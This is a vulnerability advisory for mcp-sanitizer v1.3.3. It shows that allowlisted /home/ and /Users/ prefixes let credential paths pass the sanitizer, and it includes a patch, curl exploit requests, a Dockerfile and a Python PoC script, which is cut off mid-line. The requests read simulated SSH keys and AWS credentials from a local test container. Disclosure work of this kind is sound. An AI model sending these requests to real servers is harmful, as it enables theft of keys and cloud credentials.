mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

File Path Sanitizer Permits Arbitrary User-Home Absolute Paths

Summary

mcp-sanitizer v1.3.3 explicitly whitelists /home/ and /Users/ as allowed absolute path prefixes in its file path validation logic (src/utils/validation-utils.js:188-196). As a result, paths such as /home/alice/.ssh/id_rsa and /home/alice/.aws/credentials pass through sanitizer.sanitize() with blocked=false, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., fs.readFile) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.

Details

The vulnerability resides in the validateFilePath function inside src/utils/validation-utils.js. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:

// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
  const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
  const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
    normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
  );

  if (!isAllowedAbsolute) {
    throw new Error('Absolute path not in allowed safe directory');
  }
}

Because /home/ and /Users/ are included in allowedAbsolutePaths, any path beneath those directories — including ~/.ssh/id_rsa, ~/.aws/credentials, ~/.kube/config, ~/.gnupg/, etc. — is considered safe and passes validation unchanged.

The dangerous paths (dangerousUnixPaths at src/utils/validation-utils.js:135) only cover /etc/, /proc/, /sys/, /dev/, /root/, /boot/, /usr/bin/, and /sbin/. Home-directory sensitive subdirectories (.ssh, .aws, .gnupg, .kube, .config) are never checked.

The full data flow from a network request to the vulnerable return value is:

1. src/middleware/express.js:538-541 — The Express middleware routes file_reader/file_writer tool parameters to sanitizer.sanitize(params.file_path, { type: 'file_path' }).
2. src/sanitizer/mcp-sanitizer.js:523-524 — When context.type === 'file_path', _secureSanitizeFilePath() is called.
3. src/sanitizer/mcp-sanitizer.js:683-687 — validateFilePath() is invoked; if it does not throw, the normalized path is returned as the sanitized value.
4. src/utils/validation-utils.js:188-196 — The /home/ prefix check passes without error.
5. src/utils/validation-utils.js:200-201 — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.

A consumer application receiving { blocked: false, sanitized: '/home/victim/.ssh/id_rsa' } is expected to use that path for I/O. The sanitizer's own README and middleware integration imply that a blocked: false result is safe to act upon.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
   const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+  const sensitiveHomeFragments = [
+    '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+    '/.npmrc', '/.env'
+  ];
@@
+  const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+  if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+    throw new Error('Access to sensitive user configuration path not allowed');
+  }
@@
-    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];

PoC

Environment requirements: Docker, Python 3, Node.js 20

Step 1 — Build and start the reproduction container:

# From the vuln-002/ directory
python3 poc.py

The script automatically:

1. Copies the mcp-sanitizer source into a Docker build context.
2. Creates simulated victim files at /home/victim/.ssh/id_rsa and /home/victim/.aws/credentials inside the container.
3. Builds a consumer HTTP server (server.js) that calls sanitizer.sanitize() and then fs.readFile on the returned path.
4. Sends the three test requests described below.

Step 2 — Manual HTTP requests (after the container is running on port 13572):

Control test — must be blocked:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}

Exploit test 1 — SSH private key exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}

Exploit test 2 — AWS credentials exfiltration:

curl -s -X POST http://127.0.0.1:13572/tool \
  -H 'Content-Type: application/json' \
  -d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}

Observed results (Phase 2 dynamic reproduction):

[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
  => blocked=true  ✓  (dangerousUnixPaths correctly blocks /etc/)

[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
  => blocked=false, EXPLOIT_SUCCESS=true
  sanitized_path: /home/victim/.ssh/id_rsa
  file_content:
    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
    SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
    -----END RSA PRIVATE KEY-----

[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}
  => blocked=false, EXPLOIT_SUCCESS=true
  file_content:
    [default]
    aws_access_key_id = AKIAIOSFODNN7EXAMPLE
    aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
    region = us-east-1

Root cause confirmed: validation-utils.js:190 — allowedAbsolutePaths includes '/home/' and '/Users/'; any absolute path starting with /home/ passes with blocked=false.

Impact

This is a Path Traversal / Improper Path Restriction (CWE-22) vulnerability.

Any application that integrates mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under /home/ or /Users/ — requiring no authentication, no special privileges, and no interaction from a legitimate user.

Sensitive targets include but are not limited to:

• SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519)
• Cloud provider credentials (~/.aws/credentials, ~/.config/gcloud/credentials.db)
• Kubernetes config (~/.kube/config)
• GPG keys (~/.gnupg/)
• Application tokens (~/.npmrc, ~/.netrc, ~/.env)

The confidentiality impact is High because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.

Reproduction artifacts

Dockerfile

# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass
# Builds a Node 20 container with:
#   - mcp-sanitizer source from the local repo
#   - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/
#   - A consumer HTTP server that trusts the sanitizer

FROM node:20-slim

LABEL vuln="VULN-002" \
      cwe="CWE-22" \
      title="mcp-sanitizer home-directory path bypass"

# Install mcp-sanitizer production dependencies
WORKDIR /app/repo
COPY repo/package.json repo/package-lock.json ./
RUN npm ci --omit=dev --no-audit --no-fund

# Copy mcp-sanitizer source code
COPY repo/src ./src

# Create simulated victim home directory with sensitive files
# These represent secrets a real attacker would target
RUN mkdir -p /home/victim/.ssh /home/victim/.aws
RUN echo '-----BEGIN RSA PRIVATE KEY-----'                                 > /home/victim/.ssh/id_rsa && \
    echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK'  >> /home/victim/.ssh/id_rsa && \
    echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002'    >> /home/victim/.ssh/id_rsa && \
    echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS'     >> /home/victim/.ssh/id_rsa && \
    echo '-----END RSA PRIVATE KEY-----'                                   >> /home/victim/.ssh/id_rsa && \
    chmod 600 /home/victim/.ssh/id_rsa
RUN echo '[default]'                                                        > /home/victim/.aws/credentials && \
    echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE'                       >> /home/victim/.aws/credentials && \
    echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \
    echo 'region = us-east-1'                                              >> /home/victim/.aws/credentials && \
    chmod 600 /home/victim/.aws/credentials

# Copy the consumer server application
WORKDIR /app
COPY server.js ./server.js

EXPOSE 3000

CMD ["node", "server.js"]

poc.py

#!/usr/bin/env python3
"""
VULN-002 Dynamic Reproduction PoC
mcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)

Vulnerability:
    src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/'
    as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes
    sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer
    app reads the file using the trusted sanitized path.

Attack chain:
    1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa
    2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}
    3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer
    4. SSH private key contents returned in HTTP response (exfiltrated)

Usage:
    python3 poc.py
"""

import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import urllib.request
import urllib.error

# Paths
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "repo"))
PHASE2_RESULT = os.path.join(SCRIPT_DIR, "phase2_result.json")

# Docker settings
IMAGE_NAME = "vuln002-mcp-sanitizer-poc"
CONTAINER_NAME = "vuln002-poc-container"
HOST_PORT = 13572  # High port to avoid conflicts

BASE_URL = f"http://127.0.0.1:{HOST_PORT}"
TOOL_URL = f"{BASE_URL}/tool"
HEALTH_URL = f"{BASE_URL}/health"


def log(msg):
    print(f"[poc] {msg}", flush=True)


def save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": build_cmd,
        "run_command": run_cmd,
        "poc_command": "python3 poc.py",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "server.js"]
    }
    with open(PHASE2_RESULT, "w", encoding="utf-8") as f:
        json.dump(result, f, indent=2, ensure_ascii=False)
    log(f"Saved phase2_result.json (verdict={verdict})")


def run(cmd, timeout=300, capture=True):
    """Run a subprocess command and return (returncode, stdout, stderr)."""
    result = subprocess.run(
        cmd, capture_output=capture, text=True, timeout=timeout
    )
    return result.returncode, result.stdout, result.stderr


def stop_container():
    subprocess.run(
        ["docker", "rm", "-f", CONTAINER_NAME],
        capture_output=True, timeout=15
    )


def http_post(url, payload, timeout=8):
    data = json.dumps(payload).encode("utf-8")
    req = urllib.request.Request(
        url, data=data,
        headers={"Content-Type": "application/json"},
        method="POST"
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return json.loads(resp.read().decode("utf-8"))


def http_get(url, timeout=5):
    with urllib.request.urlopen(url, timeout=timeout) as resp:
        return json.loads(resp.read().decode("utf-8"))


def wait_for_server(max_wait=40):
    log(f"Polling {HEALTH_URL} until ready (max {max_wait}s)...")
    deadline = time.monotonic() + max_wait
    while time.monotonic() < deadline:
        try:
            resp = http_get(HEALTH_URL)
            if resp.get("ok"):
                log("Server is up and responding.")
                return True
        except Exception:
            pass
        time.sleep(0.6)
    return False


def prepare_build_context():
    """
    Create a temporary Docker build context containing:
      build_ctx/
        Dockerfile
        server.js
        repo/
          package.json
          package-lock.json
          src/
    """
    build_ctx = tempfile.mkdtemp(prefix="vuln002-ctx-")
    log(f"Build context directory: {build_ctx}")

    # Copy Dockerfile and server.js from this script's directory
    for fname in ("Dockerfile", "server.js"):
        src = os.path.join(SCRIPT_DIR, fname)
        dst = os.path.join(build_ctx, fname)
        shutil.copy2(src, dst)
        log(f"  Copied {fname}")

    # Copy only the necessary repo files (skip node_modules to keep context small)
    repo_dst = os.path.join(build_ctx, "repo")
    os.makedirs(repo_dst)
    shutil.copy2(os.path.join(REPO_DIR, "package.json"), repo_dst)
    shutil.copy2(os.path.join(REPO_DIR, "package-lock.json"), repo_dst)
    shutil.copytree(
        os.path.join(REPO_DIR, "src"),
        os.path.join(repo_dst, "src")
    )
    log(f"  Copied repo/src and package files")

    return build_ctx


def main():
    log("=" * 60)
    log("VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass")
    log("=" * 60)

    # Validate prerequisites
    if not os.path.isdir(REPO_DIR):
        log(f"ERROR: Repo not found at {REPO_DIR}")
        save_result(False, "FAIL",
                    f"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.",
                    "", "", "")
        return 1

    rc, _, _ = run(["docker", "info"], timeout=10)
    if rc != 0:
        log("ERROR: Docker daemon is not accessible.")
        save_result(False, "FAIL",
                    "Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.",
                    "", "", "")
        return 1

    # Clean up any leftover container from a previous run
    stop_container()

    build_ctx = None
    try:
        # Step 1: Prepare build context
        build_ctx = prepare_build_context()

        # Step 2: Build Docker image
        build_cmd = f"docker build -t {IMAGE_NAME} {build_ctx}"
        log(f"Building Docker image: {build_cmd}")
        rc, stdout, stderr = run(
            ["docker", "build", "-t", IMAGE_NAME, build_ctx],
            timeout=300
        )
        if rc != 0:
            err_tail = (stdout + stderr)[-600:]
            log(f"Docker build FAILED (rc={rc}):\n{err_tail}")
            save_result(False, "FAIL",
                        f"Docker 이미지 빌드 실패 (exit code {rc}). "
                        f"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. "
                        f"마지막 출력: {err_tail[-200:]}",
                        err_tail,
                        build_cmd,
                        f"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}")
            return 1
        log("Docker image built successfully.")

        # Step 3: Run container in detached mode
        run_cmd = f"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}"
        log(f"Starting container: {run_cmd}")
        rc, stdout, stderr = run(
            ["docker", "run", "--rm", "--name", CONTAINER_NAME,
             "-p", f"{HOST_PORT}:3000", "-d", IMAGE_NAME],
            timeout=30
        )
        if rc != 0:
            log(f"docker run FAILED:\n{stderr}")
            save_result(False, "FAIL",
                        f"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}",
                        stderr[-300:],
                        build_cmd, run_cmd)
            return 1
        container_id = stdout.strip()
        log(f"Container started: {container_id[:12]}")

        # Step 4: Wait for HTTP server inside container
        if not wait_for_server():
            # Collect container logs for diagnosis
            _, clog, _ = run(["docker", "logs", CONTAINER_NAME], timeout=10)
            log(f"Container logs:\n{clog}")
            save_result(False, "FAIL",
                        f"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. "
                        f"컨테이너 로그: {clog[-300:]}",
                        clog[-300:],
                        build_cmd, run_cmd)
            stop_container()
            return 1

        # ----------------------------------------------------------------
        # Step 5: Test 1 — Control: /etc/passwd must be BLOCKED
        # ----------------------------------------------------------------
        log("-" * 50)
        log("TEST 1 (control): file_path=/etc/passwd  [expected: blocked=true]")
        try:
            r_ctrl = http_post(TOOL_URL, {
                "tool_name": "file_reader",
                "parameters": {"file_path": "/etc/passwd"}
            })
        except Exception as exc:
            r_ctrl = {"_request_error": str(exc)}
        log(f"  Response: {json.dumps(r_ctrl)[:300]}")
        ctrl_blocked = r_ctrl.get("blocked", False)

        # ----------------------------------------------------------------
        # Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS
        # ----------------------------------------------------------------
        log("-" * 50)
        log("TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa  [expected: blocked=false + file content]")
        try:
            r_ssh = http_post(TOOL_URL, {
                "tool_name": "file_reader",
                "parameters": {"file_path": "/home/victim/.ssh/id_rsa"}
            })
        except Exception as exc:
            r_ssh = {"_request_error": str(exc)}
        log(f"  Response: {json.dumps(r_ssh)[:400]}")

        # ----------------------------------------------------------------
        # Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS
        # ----------------------------------------------------------------
        log("-" * 50)
        log("TEST 3 (exploit): file_path=/home/victim/.aws/credentials  [expected: blocked=false + AWS creds]")
        try:
            r_aws = http_post(TOOL_URL, {
                "tool_name": "file_reader",
                "parameters": {"file_path": "/home/victim/.aws/credentials"}
            })
        except Exception as exc:
            r_aws = {"_request_error": str(exc)}
        log(f"  Response: {json.dumps(r_aws)[:400]}")

        # ----------------------------------------------------------------
        # Step 8: Evaluate results
        # ----------------------------------------------------------------
        log("-" * 50)
        log("Evaluating results...")

        ssh_bypassed = (
            not r_ssh.get("blocked", True) and
            r_ssh.get("EXPLOIT_SUCCESS") is True and
            "id_rsa" in r_ssh.get("sanitized_path", "") and
            bool(r_ssh.get("file_content")) and
            "RSA" in r_ssh.get("file_content", "")
        )

        aws_bypassed = (
            not r_aws.get("blocked", True) and
            r_aws.get("EXPLOIT_SUCCESS") is True and
            "credentials" in r_aws.get("sanitized_path", "") and
            bool(r_aws.get("file_content")) and
            "aws_access_key_id